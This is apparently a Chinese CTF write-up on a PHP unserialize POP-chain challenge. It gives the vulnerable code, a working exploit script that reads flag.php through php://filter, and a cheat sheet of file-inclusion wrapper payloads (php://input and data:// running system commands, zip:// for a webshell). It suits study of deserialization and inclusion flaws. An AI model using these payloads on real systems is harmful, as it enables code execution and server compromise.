首先源代码如下

<?php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
} class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
} public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
} class Test{
public $p;
public function __construct(){
$this->p = array();
} public function __get($key){
$function = $this->p;
return $function();
}
} if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
?>

首先找到利用点

public function append($value){
include($value);
}

找到了include()

这里补充一下常用的PHP魔术方法,这道题考察的就是魔术方法的互相调用

__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

然后找参数从哪里传过来的

  public function __invoke(){
$this->append($this->var);
}

$var就是可以传参数的地方
那么怎么才能调用__invoke()呢
发现

    public function __get($key){
$function = $this->p;
return $function();
}

如果将$this->p传递为class Modifier的对象就会自动出发__invoke()
那么又如如何调用__get()呢
发现

       public function __toString(){
return $this->str->source;
}

如果将$str传参为Test的对象,Test中没有source方法就会调用__get()
那么又如何调用__toString()呢

    public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}

如果source是Show的对象就会自动调用__toString()
而__wakeup()是自动调用的,整个链条就形成了

__wake() => __toString() => __get() => __invoke() =>include(flag.txt)

开始写exp:

<?php
class Modifier{
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
}
class Test{
public $p;
}
$a=new Show('a'); $a->str=new Test();
$a->str->p=new Modifier();
$b=new Show($a);
echo urlencode(serialize($b));
?>

这里有一个小疑问记录一下:

问题
就是为什么include()函数要用php伪协议去读文件呢,include()本身不就可以读文件的嘛,我之前写exp时没有用伪协议,所以没有读出文件

解决

这就是我对include()这个函数理解的不够出深入造成的,include()这个函数除了读取文件还会执行文件内容,所以需要用伪协议进行base64编码才能显示文件的内容,否则就会被php解释器执行而不会输出到前端

延伸

php://filter            读取文件源码
php://input 任意代码执行
data://text/plain 任意代码执行
zip:// 配合文件上传开启后门

专题学习一下php伪协议的各种利用姿势

PHP://filter

php://filter 协议可以对打开的数据流进行筛选和过滤,常用于读取文件源码

?url=php://filter/read=convert.base64-encode/resource=index.php

PHP://input

php://input 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,从而实现任意代码执行,需要注意的是,当enctype=multipart/form-data时,php:/input将会无效

?url=php://input                -- GET请求参数中使用php://input协议
<?php system('ls'); ?> -- post请求体中的内容会被当做文件内容执行

Data://

协议格式: data:资源类型;编码,内容

data://协议通过执行资源类型,使后面的内容当做文件内容来执行,从而造成任意代码执行

?url=data://text/plain,<?php system('id') ?>

ZIP://

ziip://协议用来读取压缩包中的文件,可以配合文件上传开启后门,获取webshell

将shell.txt压缩成zip,再将后缀名改为jpg上传至服务器,再通过zip伪协议访问压缩包里的文件,从而链接木马

?url=zip://shell.jpg

最新文章

  1. js仿微信语音播放
  2. offsetwidth/clientwidth的区别
  3. Paip.语义分析----情绪情感词汇表总结
  4. JAVA+PHP+阿里云组件纯手工实现POP、SMTP、IMAP开发邮件服务器(二)
  5. POJ 1716
  6. HDU 2546 饭卡
  7. 墙裂推荐 iOS 资源大全
  8. MySQL存储过程实例
  9. linux下安装python linux下一些常用的命令
  10. 面向对象程序设计-C++_课时19const_课时20不可修改的
  11. navigator获取参数
  12. android studio 2.3 下载地址
  13. B. Pyramid of Glasses
  14. Linux下which、whereis、locate、find 命令查找文件
  15. RedisHelper帮助类
  16. Nginx模块 ngx_http_limit_req_module 限制请求速率
  17. JS IE 打开本地exe程序
  18. @ModelAttribute注解详解
  19. Java虚拟机(二)对象的创建与OOP-Klass模型
  20. Python3基础 file read 读取txt文件的前几个字符

热门文章

  1. ARTS起始篇
  2. Apache Flink目录遍历(CVE-2020-17519)
  3. HCNA Routing&amp;Switching之动态路由协议OSPF基础(二)
  4. SyntaxError: unexpected EOF while parsing成功解决
  5. PAT甲级:1124 Raffle for Weibo Followers (20分)
  6. 看懂UML类图笔记
  7. Spring Cloud 从入门到精通(一)Nacos 服务中心初探
  8. 搭建MySQL主从实现Django读写分离
  9. Python - 浅拷贝的四种实现方式
  10. 论文笔记:(NIPS2017)PointNet++: Deep Hierarchical Feature Learning on Point Sets in a Metric Space